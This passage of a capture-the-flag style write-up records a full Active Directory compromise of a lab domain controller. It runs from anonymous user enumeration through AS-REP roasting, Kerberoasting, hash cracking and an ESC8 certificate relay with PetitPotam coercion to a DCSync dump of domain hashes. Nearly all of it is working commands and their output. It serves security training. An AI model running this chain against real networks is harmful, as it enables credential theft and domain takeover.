(Timeout) |_ 0/4 checks are positive: Host is CLEAN or ports are blocked | smb2-security-mode: | 3.1.1: |_ Message signing enabled but not required |_clock-skew: mean: -1s, deviation: 0s, median: -1s TRACEROUTE (using port 636/tcp) HOP RTT ADDRESS 1 32.71 ms 10.200.0.1 2 ... 3 32.80 ms 10.0.23.96 NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 18:49 Completed NSE at 18:49, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 18:49 Completed NSE at 18:49, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 18:49 Completed NSE at 18:49, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at . Nmap done: 1 IP address (1 host up) scanned in 110.59 seconds Raw packets sent: 120 (9.588KB) | Rcvd: 52 (2.784KB) ``` {% endcode %} ## Initial Access {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 06:45:53 PM)-[~] └─$ nxc smb 10.0.23.96 -u '' -p '' SMB 10.0.23.96 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None) SMB 10.0.23.96 445 DC01 [+] shadow.gate\\: ┌──(kali㉿kali 05/22/2026 06:46:26 PM)-[~] └─$ nxc smb 10.0.23.96 -u '' -p '' --shares SMB 10.0.23.96 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None) SMB 10.0.23.96 445 DC01 [+] shadow.gate\\: SMB 10.0.23.96 445 DC01 [-] Error enumerating shares: STATUS_ACCESS_DENIED ┌──(kali㉿kali 05/22/2026 06:46:33 PM)-[~] └─$ nxc smb 10.0.23.96 -u 'guest' -p '' --shares SMB 10.0.23.96 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None) SMB 10.0.23.96 445 DC01 [-] shadow.gate\\guest: STATUS_ACCOUNT_DISABLED ``` {% endcode %} * Tested with anonymous first * Tested looking at shares * Tested looking with a `guest` user - disabled ```bash ┌──(kali㉿kali 05/22/2026 06:48:21 PM)-[~] └─$ smbclient -L //10.0.23.96/ -N Anonymous login successful Sharename Type Comment --------- ---- ------- Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.0.23.96 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available ``` #### We are able to enumerate users with anonymous access: {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 07:00:32 PM)-[~] └─$ nxc smb shadow.gate -u '' -p '' --users SMB 10.0.23.96 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None) SMB 10.0.23.96 445 DC01 [+] shadow.gate\\: SMB 10.0.23.96 445 DC01 -Username- -Last PW Set- -BadPW- -Description- SMB 10.0.23.96 445 DC01 Administrator 2026-01-11 11:33:05 0 Built-in account for administering the computer/domain SMB 10.0.23.96 445 DC01 Guest 0 Built-in account for guest access to the computer/domain SMB 10.0.23.96 445 DC01 krbtgt 2026-01-12 02:45:27 0 Key Distribution Center Service Account SMB 10.0.23.96 445 DC01 ATHENA 2026-03-04 15:23:19 0 SMB 10.0.23.96 445 DC01 mbrownlee 2026-03-04 15:24:05 0 SMB 10.0.23.96 445 DC01 bbrown 2026-01-15 14:24:07 0 SMB 10.0.23.96 445 DC01 jtrueblood 2026-04-28 18:14:47 0 SMB 10.0.23.96 445 DC01 jsmith 2026-03-04 15:26:29 0 SMB 10.0.23.96 445 DC01 clocke 2026-03-04 15:24:32 0 SMB 10.0.23.96 445 DC01 tclarke 2026-03-04 15:25:33 0 SMB 10.0.23.96 445 DC01 jbradford 2026-03-04 15:24:59 0 SMB 10.0.23.96 445 DC01 amoss 2026-03-04 15:25:52 0 SMB 10.0.23.96 445 DC01 [*] Enumerated 12 local users: SHADOW ``` {% endcode %} #### Using this one-liner to parse out the names: {% code overflow="wrap" %} ```bash nxc smb shadow.gate -u '' -p '' --users | grep -v '\\[\\*\\]' | grep -v '\\[\\+\\]' | grep -v '\\-Username\\-' | awk '{print $5}' | grep -v '^$' > users.txt ``` {% endcode %} #### Now with the users.txt, we can try ASREP Roasting: {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 08:47:03 PM)-[~/hsm/machines/shadowgate] └─$ sudo nxc ldap shadow.gate -u users.txt -p '' --asreproast output.txt LDAP 10.0.23.96 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:shadow.gate) (signing:None) (channel binding:Never) [-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) [-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked) LDAP 10.0.23.96 389 DC01 $krb5asrep$23$jtrueblood@SHADOW.GATE:5a1b6078644ed347fdb4dfa33516a320$14ffde8998337c84821406268dd1cce1b62a3ab86f6045ea1aeb8f00085c99a2688c929a8f0fd588c81783e6524fed01984ff45cea47bba4e2e9dd3ea8de469e9d967de9257912f712e5cca3a5967ae1582388a8ddfbe4fcafa4d03321dae45d4caca354f4cf4ddc8606f9df562779e64fed9f256338cc8b8678bb642a87ff5b4aa9c473a7a410f11c6dc5de67e38212454d320f129ab602fb88c0dc396023967a7e650a9fb7f6a060ac824ba97dc1ea1c7f0dfde039772d99b53e920da1cc45aa8cdd34671552990cf28fd5beda01efefc7e5f1f2072bc1095f05797ec9c4c4c7235d72053b61ae0c9b ``` {% endcode %} * got a hit! #### Now to try cracking it: {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 08:50:22 PM)-[~/hsm/machines/shadowgate] └─$ hashcat -a 0 -m 18200 jtrueblood.hash /usr/share/wordlists/rockyou.txt hashcat (v7.1.2) starting OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #01: cpu-skylake-avx512-AMD RYZEN AI MAX+ 395 w/ Radeon 8060S, 2929/5859 MB (1024 MB allocatable), 8MCU $krb5asrep$23$jtrueblood@SHADOW.GATE:5a1b6078644ed347fdb4dfa33516a320$14ffde8998337c84821406268dd1cce1b62a3ab86f6045ea1aeb8f00085c99a2688c929a8f0fd588c81783e6524fed01984ff45cea47bba4e2e9dd3ea8de469e9d967de9257912f712e5cca3a5967ae1582388a8ddfbe4fcafa4d03321dae45d4caca354f4cf4ddc8606f9df562779e64fed9f256338cc8b8678bb642a87ff5b4aa9c473a7a410f11c6dc5de67e38212454d320f129ab602fb88c0dc396023967a7e650a9fb7f6a060ac824ba97dc1ea1c7f0dfde039772d99b53e920da1cc45aa8cdd34671552990cf28fd5beda01efefc7e5f1f2072bc1095f05797ec9c4c4c7235d72053b61ae0c9b:blood_brothers Session..........: hashcat Status...........: Cracked ``` {% endcode %} ## Testing to see if the jtrueblood credential is valid {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 08:52:23 PM)-[~/hsm/machines/shadowgate] └─$ nxc smb shadow.gate -u 'jtrueblood' -p 'blood_brothers' --shares SMB 10.0.23.96 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None) SMB 10.0.23.96 445 DC01 [+] shadow.gate\\jtrueblood:blood_brothers SMB 10.0.23.96 445 DC01 [*] Enumerated shares SMB 10.0.23.96 445 DC01 Share Permissions Remark SMB 10.0.23.96 445 DC01 ----- ----------- ------ SMB 10.0.23.96 445 DC01 ADMIN$ Remote Admin SMB 10.0.23.96 445 DC01 C$ Default share SMB 10.0.23.96 445 DC01 CertEnroll READ Active Directory Certificate Services share SMB 10.0.23.96 445 DC01 IPC$ READ Remote IPC SMB 10.0.23.96 445 DC01 NETLOGON READ Logon server share SMB 10.0.23.96 445 DC01 SYSVOL READ Logon server share ``` {% endcode %} * confirmed valid * Already thinking some sort of ESC will be involved thansk to the CertEnroll ## Bloodhound ingestion {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 08:56:26 PM)-[~/hsm/machines/shadowgate] └─$ sudo nxc ldap shadow.gate -u 'jtrueblood' -p 'blood_brothers' --bloodhound --collection All --dns-server 10.0.23.96 LDAP 10.0.23.96 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:shadow.gate) (signing:None) (channel binding:Never) LDAP 10.0.23.96 389 DC01 [+] shadow.gate\\jtrueblood:blood_brothers LDAP 10.0.23.96 389 DC01 Resolved collection methods: trusts, psremote, session, rdp, container, localadmin, acl, group, objectprops, dcom LDAP 10.0.23.96 389 DC01 Done in 0M 7S LDAP 10.0.23.96 389 DC01 Compressing output into /root/.nxc/logs/DC01_10.0.23.96_2026-05-22_205646_bloodhound.zip ``` {% endcode %} #### Bloodhound Enumeration ![image.png](/files/YpyhIfgdbaoLpWhsemR9) * GenericWrite over `bbrown` * Can use targeted kerberoasting to obtain hash ## Targeted Kerberoasting {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 09:05:20 PM)-[~/hsm/machines/shadowgate] └─$ targetedKerberoast -v -d 'shadow.gate' -u 'jtrueblood' -p 'blood_brothers' [*] Starting kerberoast attacks [*] Fetching usernames from Active Directory with LDAP [VERBOSE] SPN added successfully for (bbrown) [+] Printing hash for (bbrown) $krb5tgs$23$*bbrown$SHADOW.GATE$shadow.gate/bbrown*$79fed68ea3c5fb0e17411321c4c9a127$860dab23888626f2030776137a5eba40fcabe0e3abd366c0ef51cc786e9705819aae8c3a3c12ecae985109c6c82ff57a85003fb6f70439691cbc58acc381f56ca8e041ede49a3dde2fe38c3bb9817b1063741091bd1dcebfb740564aa3a4a91e37ddd707b72b96e0b7e4538e9c622eb40a45f767e3b18af64370252decaddc593ad54a9f53b44e5b89108f35e4eeba78eb7ecb8068c09a8db17e9ee814f2f3957d13e58b65eab820adc45bffdf87a5f6701270b1976c6ac0e4fb883f3b3f3a482d1f741eb12500bd1b4942e27fb6b3f3613dd76332c22f69b97147b1e798e5114d9f7d95a9b0621f141f2678e2b1bda1cfd3708aedc21770d0574224fa235af3057d7715f1d4a205a7b1be4aa71a81720bfc5caa00e40a6b014f5f08d27495b06d0e81449d1fc4adaf1018b4c3cdd9f4935352e9934408fd4c73ca54f4dea150b9eb6a7a39bda760c4a437c6dd060c44ba8c38a3e4680ebbab5743fd3728f0505d72d6d41e4e9782d5319f04c366696b04f8e1386f5609495857098378180f630135b79056006611a189e7a22f59a6a86e39e0719f8f4fe44cb6da3045d27c6ae1d5d26cc0dbb14a94d267c8e68477382d26133933ce0e29043be78b639bcc1644e357cc7e2fd3cb96ffefdf0185696a630c78647d7b941fa96508b7a826caefc6a2d458fd54c8b81f9987e1b337c1efe0f85ad0c37c3c4c7239b6adc14c08215c3e2ccc7529ed7d568e6161139ff953f27bf2d99ce8183681a66db3db3854a276a5e4af6bde211780992d1c87c51f01e240fdc237a667df46a57240079340d8e7a93af9a65c402679026f7b9a4886bad01c87120b438d997fa223ae818faeb6334cefe36774775fef6a1a3364ea57a98ae891c02c91eb817341b3b6b8eaaf53e2403b9a8909b80eb8a1989151fb53c4a4bce237334c7cd79166b2ddcb8a113f2a188f8330963917c0c9750bff38973897f5b81b00791ff126ad55991c7c9cc04da7e32d639ec566cfcc303b2931f8228e5792d78c39b2b84d11f26fb7c7a8a7d4375d785bc057943cc2efd794fe2b4c873e2c329074dd5b5746b892c98552244853894c34477acb49cb2b6133675acb86f4ef6d9a065fdf704abf5413e856ef3f6896e81ed3b052f2a21bef9521026d2f50f0812812a7aeec794943f7e669ae0927061e8cb0844c45286a03e840c687f18f535a2ab612b974e0a93a5deece994737d66f3843f9fc7df92a32c14c717714b36858bf05a9db75f3eb7cbe422426e054c30e6d6e1940e9647f94e0154f8e0396397cf52d29139c770a4b78bed078dd681636beb51f39a028dee649ccb56a6cdc16b4ea84b63739f5d044effb36747ea6ecaa1927d6d9aa8e121437384177d48365cebc6e26cf6c43276b4397e7e22d44fcaa1807b2c9c27c764425e9b3b08a2bb649b91a80f0a0f807442d533407b17ea43de54224f980a74d15ab6dabadad8755973ff3386da50022fd585fafc39d1f5bb69e850a8aea095df69d2fbe71280c3e706420 [VERBOSE] SPN removed successfully for (bbrown) ``` {% endcode %} ## Cracking the hash for bbrown {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 09:44:36 PM)-[~/hsm/machines/shadowgate] └─$ hashcat -m 13100 -a 0 bbrown.hash /usr/share/wordlists/rockyou.txt hashcat (v7.1.2) starting OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, SPIR-V, LLVM 18.1.8, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project] ==================================================================================================================================================== * Device #01: cpu-skylake-avx512-AMD RYZEN AI MAX+ 395 w/ Radeon 8060S, 2929/5859 MB (1024 MB allocatable), 8MCU $krb5tgs$23$*bbrown$SHADOW.GATE$shadow.gate/bbrown*$79fed68ea3c5fb0e17411321c4c9a127$860dab23888626f2030776137a5eba40fcabe0e3abd366c0ef51cc786e9705819aae8c3a3c12ecae985109c6c82ff57a85003fb6f70439691cbc58acc381f56ca8e041ede49a3dde2fe38c3bb9817b1063741091bd1dcebfb740564aa3a4a91e37ddd707b72b96e0b7e4538e9c622eb40a45f767e3b18af64370252decaddc593ad54a9f53b44e5b89108f35e4eeba78eb7ecb8068c09a8db17e9ee814f2f3957d13e58b65eab820adc45bffdf87a5f6701270b1976c6ac0e4fb883f3b3f3a482d1f741eb12500bd1b4942e27fb6b3f3613dd76332c22f69b97147b1e798e5114d9f7d95a9b0621f141f2678e2b1bda1cfd3708aedc21770d0574224fa235af3057d7715f1d4a205a7b1be4aa71a81720bfc5caa00e40a6b014f5f08d27495b06d0e81449d1fc4adaf1018b4c3cdd9f4935352e9934408fd4c73ca54f4dea150b9eb6a7a39bda760c4a437c6dd060c44ba8c38a3e4680ebbab5743fd3728f0505d72d6d41e4e9782d5319f04c366696b04f8e1386f5609495857098378180f630135b79056006611a189e7a22f59a6a86e39e0719f8f4fe44cb6da3045d27c6ae1d5d26cc0dbb14a94d267c8e68477382d26133933ce0e29043be78b639bcc1644e357cc7e2fd3cb96ffefdf0185696a630c78647d7b941fa96508b7a826caefc6a2d458fd54c8b81f9987e1b337c1efe0f85ad0c37c3c4c7239b6adc14c08215c3e2ccc7529ed7d568e6161139ff953f27bf2d99ce8183681a66db3db3854a276a5e4af6bde211780992d1c87c51f01e240fdc237a667df46a57240079340d8e7a93af9a65c402679026f7b9a4886bad01c87120b438d997fa223ae818faeb6334cefe36774775fef6a1a3364ea57a98ae891c02c91eb817341b3b6b8eaaf53e2403b9a8909b80eb8a1989151fb53c4a4bce237334c7cd79166b2ddcb8a113f2a188f8330963917c0c9750bff38973897f5b81b00791ff126ad55991c7c9cc04da7e32d639ec566cfcc303b2931f8228e5792d78c39b2b84d11f26fb7c7a8a7d4375d785bc057943cc2efd794fe2b4c873e2c329074dd5b5746b892c98552244853894c34477acb49cb2b6133675acb86f4ef6d9a065fdf704abf5413e856ef3f6896e81ed3b052f2a21bef9521026d2f50f0812812a7aeec794943f7e669ae0927061e8cb0844c45286a03e840c687f18f535a2ab612b974e0a93a5deece994737d66f3843f9fc7df92a32c14c717714b36858bf05a9db75f3eb7cbe422426e054c30e6d6e1940e9647f94e0154f8e0396397cf52d29139c770a4b78bed078dd681636beb51f39a028dee649ccb56a6cdc16b4ea84b63739f5d044effb36747ea6ecaa1927d6d9aa8e121437384177d48365cebc6e26cf6c43276b4397e7e22d44fcaa1807b2c9c27c764425e9b3b08a2bb649b91a80f0a0f807442d533407b17ea43de54224f980a74d15ab6dabadad8755973ff3386da50022fd585fafc39d1f5bb69e850a8aea095df69d2fbe71280c3e706420:12345678 Session..........: hashcat Status...........: Cracked ``` {% endcode %} ## Since this person is a member of the ADCS-Reader group, I am focusing on ADCS {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 09:46:50 PM)-[~/hsm/machines/shadowgate] └─$ nxc ldap shadow.gate -u 'bbrown' -p '12345678' -M adcs LDAP 10.0.23.96 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:shadow.gate) (signing:None) (channel binding:Never) LDAP 10.0.23.96 389 DC01 [+] shadow.gate\\bbrown:12345678 ADCS 10.0.23.96 389 DC01 [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)' ADCS 10.0.23.96 389 DC01 Found PKI Enrollment Server: DC01.shadow.gate ADCS 10.0.23.96 389 DC01 Found CN: shadow-DC01-CA ┌──(kali㉿kali 05/22/2026 09:49:02 PM)-[~/hsm/machines/shadowgate] └─$ nxc ldap shadow.gate -u 'bbrown' -p '12345678' -M adcs -o SERVER=shadow-DC01-CA LDAP 10.0.23.96 389 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:shadow.gate) (signing:None) (channel binding:Never) LDAP 10.0.23.96 389 DC01 [+] shadow.gate\\bbrown:12345678 ADCS 10.0.23.96 389 DC01 Using PKI CN: shadow-DC01-CA ADCS 10.0.23.96 389 DC01 [*] Starting LDAP search with search filter '(distinguishedName=CN=shadow-DC01-CA,CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=Configuration,' ADCS 10.0.23.96 389 DC01 Found Certificate Template: DirectoryEmailReplication ADCS 10.0.23.96 389 DC01 Found Certificate Template: DomainControllerAuthentication ADCS 10.0.23.96 389 DC01 Found Certificate Template: KerberosAuthentication ADCS 10.0.23.96 389 DC01 Found Certificate Template: EFSRecovery ADCS 10.0.23.96 389 DC01 Found Certificate Template: EFS ADCS 10.0.23.96 389 DC01 Found Certificate Template: DomainController ADCS 10.0.23.96 389 DC01 Found Certificate Template: WebServer ADCS 10.0.23.96 389 DC01 Found Certificate Template: Machine ADCS 10.0.23.96 389 DC01 Found Certificate Template: User ADCS 10.0.23.96 389 DC01 Found Certificate Template: SubCA ADCS 10.0.23.96 389 DC01 Found Certificate Template: Administrator ``` {% endcode %} ### Now we can use Certipy to find vulnerable templates {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 09:54:47 PM)-[~/hsm/machines/shadowgate] └─$ certipy find -u 'bbrown@shadow.gate' -p 12345678 -dc-ip 10.0.23.96 -target DC01.shadow.gate -vulnerable Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Finding certificate templates [*] Found 33 certificate templates [*] Finding certificate authorities [*] Found 1 certificate authority [*] Found 11 enabled certificate templates [*] Finding issuance policies [*] Found 13 issuance policies [*] Found 0 OIDs linked to templates [*] Retrieving CA configuration for 'shadow-DC01-CA' via RRP [*] Successfully retrieved CA configuration for 'shadow-DC01-CA' [*] Checking web enrollment for CA 'shadow-DC01-CA' @ 'DC01.shadow.gate' [!] Error checking web enrollment: timed out [!] Use -debug to print a stacktrace [*] Saving text output to '20260522215503_Certipy.txt' [*] Wrote text output to '20260522215503_Certipy.txt' [*] Saving JSON output to '20260522215503_Certipy.json' [*] Wrote JSON output to '20260522215503_Certipy.json' ┌──(kali㉿kali 05/22/2026 09:55:03 PM)-[~/hsm/machines/shadowgate] └─$ cat 20260522215503_Certipy.txt Certificate Authorities 0 CA Name : shadow-DC01-CA DNS Name : DC01.shadow.gate Certificate Subject : CN=shadow-DC01-CA, DC=shadow, DC=gate Certificate Serial Number : 749A4BA2BEA3CFBC41ECDFAEE502E46C Certificate Validity Start : 2026-01-12 02:50:31+00:00 Certificate Validity End : 2046-01-12 03:00:31+00:00 Web Enrollment HTTP Enabled : True HTTPS Enabled : False User Specified SAN : Disabled Request Disposition : Issue Enforce Encryption for Requests : Enabled Active Policy : CertificateAuthority_MicrosoftDefault.Policy Permissions Owner : SHADOW.GATE\\Administrators Access Rights ManageCa : SHADOW.GATE\\Administrators SHADOW.GATE\\Domain Admins SHADOW.GATE\\Enterprise Admins ManageCertificates : SHADOW.GATE\\Administrators SHADOW.GATE\\Domain Admins SHADOW.GATE\\Enterprise Admins Enroll : SHADOW.GATE\\Authenticated Users [!] Vulnerabilities ESC8 : Web Enrollment is enabled over HTTP. Certificate Templates : [!] Could not find any certificate templates ``` {% endcode %} * ESC8, which I believe can be handled by nxc ### Using certipy and nxc to achieve ESC 8 #### **Step 1 (start certipy relay, and then watch after running step 2):** {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 10:05:37 PM)-[~] └─$ certipy relay -target -template DomainController Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Targeting (ESC8) [*] Listening on 0.0.0.0:445 [*] Setting up SMB Server on port 445 [*] (SMB): Received connection from 10.0.23.96, attacking target [*] HTTP Request: GET "HTTP/1.1 401 Unauthorized" [*] HTTP Request: GET "HTTP/1.1 401 Unauthorized" [*] HTTP Request: GET "HTTP/1.1 200 OK" [*] (SMB): Authenticating connection from /@10.0.23.96 against SUCCEED [1] [*] Requesting certificate for '\\\\' based on the template 'DomainController' [*] (SMB): Received connection from 10.0.23.96, attacking target [*] http:///@dc01.shadow.gate [1] -> HTTP Request: POST "HTTP/1.1 200 OK" [*] Certificate issued with request ID 3 [*] Retrieving certificate for request ID: 3 [*] HTTP Request: GET "HTTP/1.1 401 Unauthorized" [*] http:///@dc01.shadow.gate [1] -> HTTP Request: GET "HTTP/1.1 200 OK" [*] Got certificate with DNS Host Name 'DC01.shadow.gate' [*] Certificate object SID is 'S-1-5-21-243493930-1113464705-3012771586-1000' [*] Saving certificate and private key to 'dc01.pfx' [*] Wrote certificate and private key to 'dc01.pfx' [*] Exiting... ``` {% endcode %} #### **Step 2 (In another terminal tab):** {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 10:05:42 PM)-[~/hsm/machines/shadowgate] └─$ nxc smb shadow.gate -u 'bbrown' -p 12345678 -k -M coerce_plus -o METHOD=PetitPotam -o LISTENER=10.200.59.72 SMB shadow.gate 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None) SMB shadow.gate 445 DC01 [+] shadow.gate\\bbrown:12345678 COERCE_PLUS shadow.gate 445 DC01 VULNERABLE, DFSCoerce COERCE_PLUS shadow.gate 445 DC01 Exploit Success, netdfs\\NetrDfsRemoveRootTarget [22:08:08] ERROR Error in DFSCoerce module: [Errno 32] Broken pipe coerce_plus.py:73 COERCE_PLUS shadow.gate 445 DC01 VULNERABLE, PetitPotam COERCE_PLUS shadow.gate 445 DC01 Exploit Success, efsrpc\\EfsRpcAddUsersToFile COERCE_PLUS shadow.gate 445 DC01 VULNERABLE, PrinterBug COERCE_PLUS shadow.gate 445 DC01 Exploit Success, spoolss\\RpcRemoteFindFirstPrinterChangeNotificationEx COERCE_PLUS shadow.gate 445 DC01 VULNERABLE, MSEven ``` {% endcode %} #### **Step 3 (run certipy auth to get the hash):** {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 10:07:38 PM)-[~] └─$ certipy auth -pfx dc01.pfx -dc-ip 10.0.23.96 -username dc01$ -domain shadow.gate Certipy v5.0.4 - by Oliver Lyak (ly4k) [*] Certificate identities: [*] SAN DNS Host Name: 'DC01.shadow.gate' [*] Security Extension SID: 'S-1-5-21-243493930-1113464705-3012771586-1000' [*] Using principal: 'dc01$@shadow.gate' [*] Trying to get TGT... [*] Got TGT [*] Saving credential cache to 'dc01.ccache' [*] Wrote credential cache to 'dc01.ccache' [*] Trying to retrieve NT hash for 'dc01$' [*] Got hash for 'dc01$@shadow.gate': aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531 ``` {% endcode %} #### **Step 4:** Confirmed I have the hash for the dc01$ user {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 10:12:01 PM)-[~] └─$ nxc smb 10.0.23.96 -u 'dc01$' -H 57867e655d1abc9f45fd6e954e351531 SMB 10.0.23.96 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:shadow.gate) (signing:False) (SMBv1:None) SMB 10.0.23.96 445 DC01 [+] shadow.gate\\dc01$:57867e655d1abc9f45fd6e954e351531 ``` {% endcode %} #### **Step 5 (export the ccache):** {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 10:27:36 PM)-[~] └─$ export KRB5CCNAME=/home/kali/hsm/machines/shadowgate/dc01.ccache ┌──(kali㉿kali 05/22/2026 10:27:39 PM)-[~] └─$ klist Ticket cache: FILE:/home/kali/hsm/machines/shadowgate/dc01.ccache Default principal: dc01$@SHADOW.GATE Valid starting Expires Service principal 05/22/2026 22:23:49 05/23/2026 08:23:49 krbtgt/SHADOW.GATE@SHADOW.GATE renew until 05/23/2026 22:23:50 ``` {% endcode %} #### **Step 6 (DCSync):** {% code overflow="wrap" %} ```bash ┌──(kali㉿kali 05/22/2026 10:29:17 PM)-[~/hsm/machines/shadowgate] └─$ secretsdump.py 'dc01$@DC01.shadow.gate' -hashes :57867e655d1abc9f45fd6e954e351531 Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied [*] Dumping Domain Credentials (domain\\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:4366ec0f86e29be2a4a5e87a1ba922ec::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:b5509cbfe52e94940c0ec99b21e09802::: shadow.gate\\ATHENA:1103:aad3b435b51404eeaad3b435b51404ee:3215f4c7c852647c88694ab0b57daaba::: shadow.gate\\mbrownlee:1104:aad3b435b51404eeaad3b435b51404ee:6f16868319543175e7f3e6d4eea9adfb::: shadow.gate\\bbrown:1109:aad3b435b51404eeaad3b435b51404ee:259745cb123a52aa2e693aaacca2db52::: shadow.gate\\jtrueblood:1110:aad3b435b51404eeaad3b435b51404ee:27e133a345b980d24e3a60f169f2cb7e::: shadow.gate\\jsmith:1112:aad3b435b51404eeaad3b435b51404ee:be0b6d125a6645747d91d30ed3bef98f::: shadow.gate\\clocke:1113:aad3b435b51404eeaad3b435b51404ee:ff506444e2c59b0241812e8e17b0f05e::: shadow.gate\\tclarke:1114:aad3b435b51404eeaad3b435b51404ee:9290a555713c7db0cf7fbf0ac28c1100::: shadow.gate\\jbradford:1115:aad3b435b51404eeaad3b435b51404ee:f5c86043de2a116c6458f3de9aad89de::: shadow.gate\\amoss:1116:aad3b435b51404eeaad3b435b51404ee:381480af4a988ad46758c2f79ee64090::: DC01$:1000:aad3b435b51404eeaad3b435b51404ee:57867e655d1abc9f45fd6e954e351531::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:6bf0048464b8fdf7a2db10f4799715a0c6471ac724424007e95bf55cd6841445 Administrator:aes128-cts-hmac-sha1-96:01b16cb25c0593a4da06b92dcd454c2f Administrator:des-cbc-md5:d6da94c1b5761f45 krbtgt:aes256-cts-hmac-sha1-96:9d2c8f2fecd0d6813cde513680b594210cf9c91bc2d4f6715ce25972b6a7c7c5 krbtgt:aes128-cts-hmac-sha1-96:03ed2c0be5231fb6bd698d2bc18b9e39 krbtgt:des-cbc-md5:4a5286207f83ae7c shadow.gate\\ATHENA:aes256-cts-hmac-sha1-96:133c566ee74c769acbe2ed903383ebb721ed068c4dd0eef66fb1b0903c47c383 shadow.gate\\ATHENA:aes128-cts-hmac-sha1-96:fe90309b458fb3c871d1e71bab58e47b shadow.gate\\ATHENA:des-cbc-md5:e5d6915ee9a2e09e shadow.gate\\mbrownlee:aes256-cts-hmac-sha1-96:15298afcd4a48b82446a25a4fb0dcc79759d29035eaf185a2f7dc55717792f32 shadow.gate\\mbrownlee:aes128-cts-hmac-sha1-96:8a62a664980f32985c2093fde8fa5085 shadow.gate\\mbrownlee:des-cbc-md5:9de9ef02b008527f shadow.gate\\bbrown:aes256-cts-hmac-sha1-96:c0147f35c874bb289bd827e02787c587a0e975561659c1eb32238505044f9026 shadow.gate\\bbrown:aes128-cts-hmac-sha1-96:977d546c11489221d0601de2f48b6a2d shadow.gate\\bbrown:des-cbc-md5:924929ba3efe1343 shadow.gate\\jtrueblood:aes256-cts-hmac-sha1-96:2babc2cf18a6871b671c62fb2a4836ec2e1ce5590c18148986228929d44f9030 shadow.gate\\jtrueblood:aes128-cts-hmac-sha1-96:50afd603eef473bdf7be45640ad5d013 shadow.gate\\jtrueblood:des-cbc-md5:016e2cb50bfe072f shadow.gate\\jsmith:aes256-cts-hmac-sha1-96:7c4104c37ac87fbbf5d64684250193419e86f3d18eae9a17d23417f5a86eed45 shadow.gate\\jsmith:aes128-cts-hmac-sha1-96:5d4afe0536471fb8650106fbda7fcf05 shadow.gate\\jsmith:des-cbc-md5:100285bfe3d0ae45 shadow.gate\\clocke:aes256-cts-hmac-sha1-96:3887edec327295e751ea7826c1b4b032237279891553f1d8fe7ef397f5890de5 shadow.gate\\clocke:aes128-cts-hmac-sha1-96:28e81233b8dfba552878076eead12862 shadow.gate\\clocke:des-cbc-md5:0db36ec83dad3834 shadow.gate\\tclarke:aes256-cts-hmac-sha1-96:254bd9d7ba3833aafebf3a0f1edc10a161d70d1ac25e6895f281945857cf99a8 shadow.gate\\tclarke:aes128-cts-hmac-sha1-96:75661c8dca12a1c9512949f5e3737a62 shadow.gate\\tclarke:des-cbc-md5:a18c7f2f85202ad6 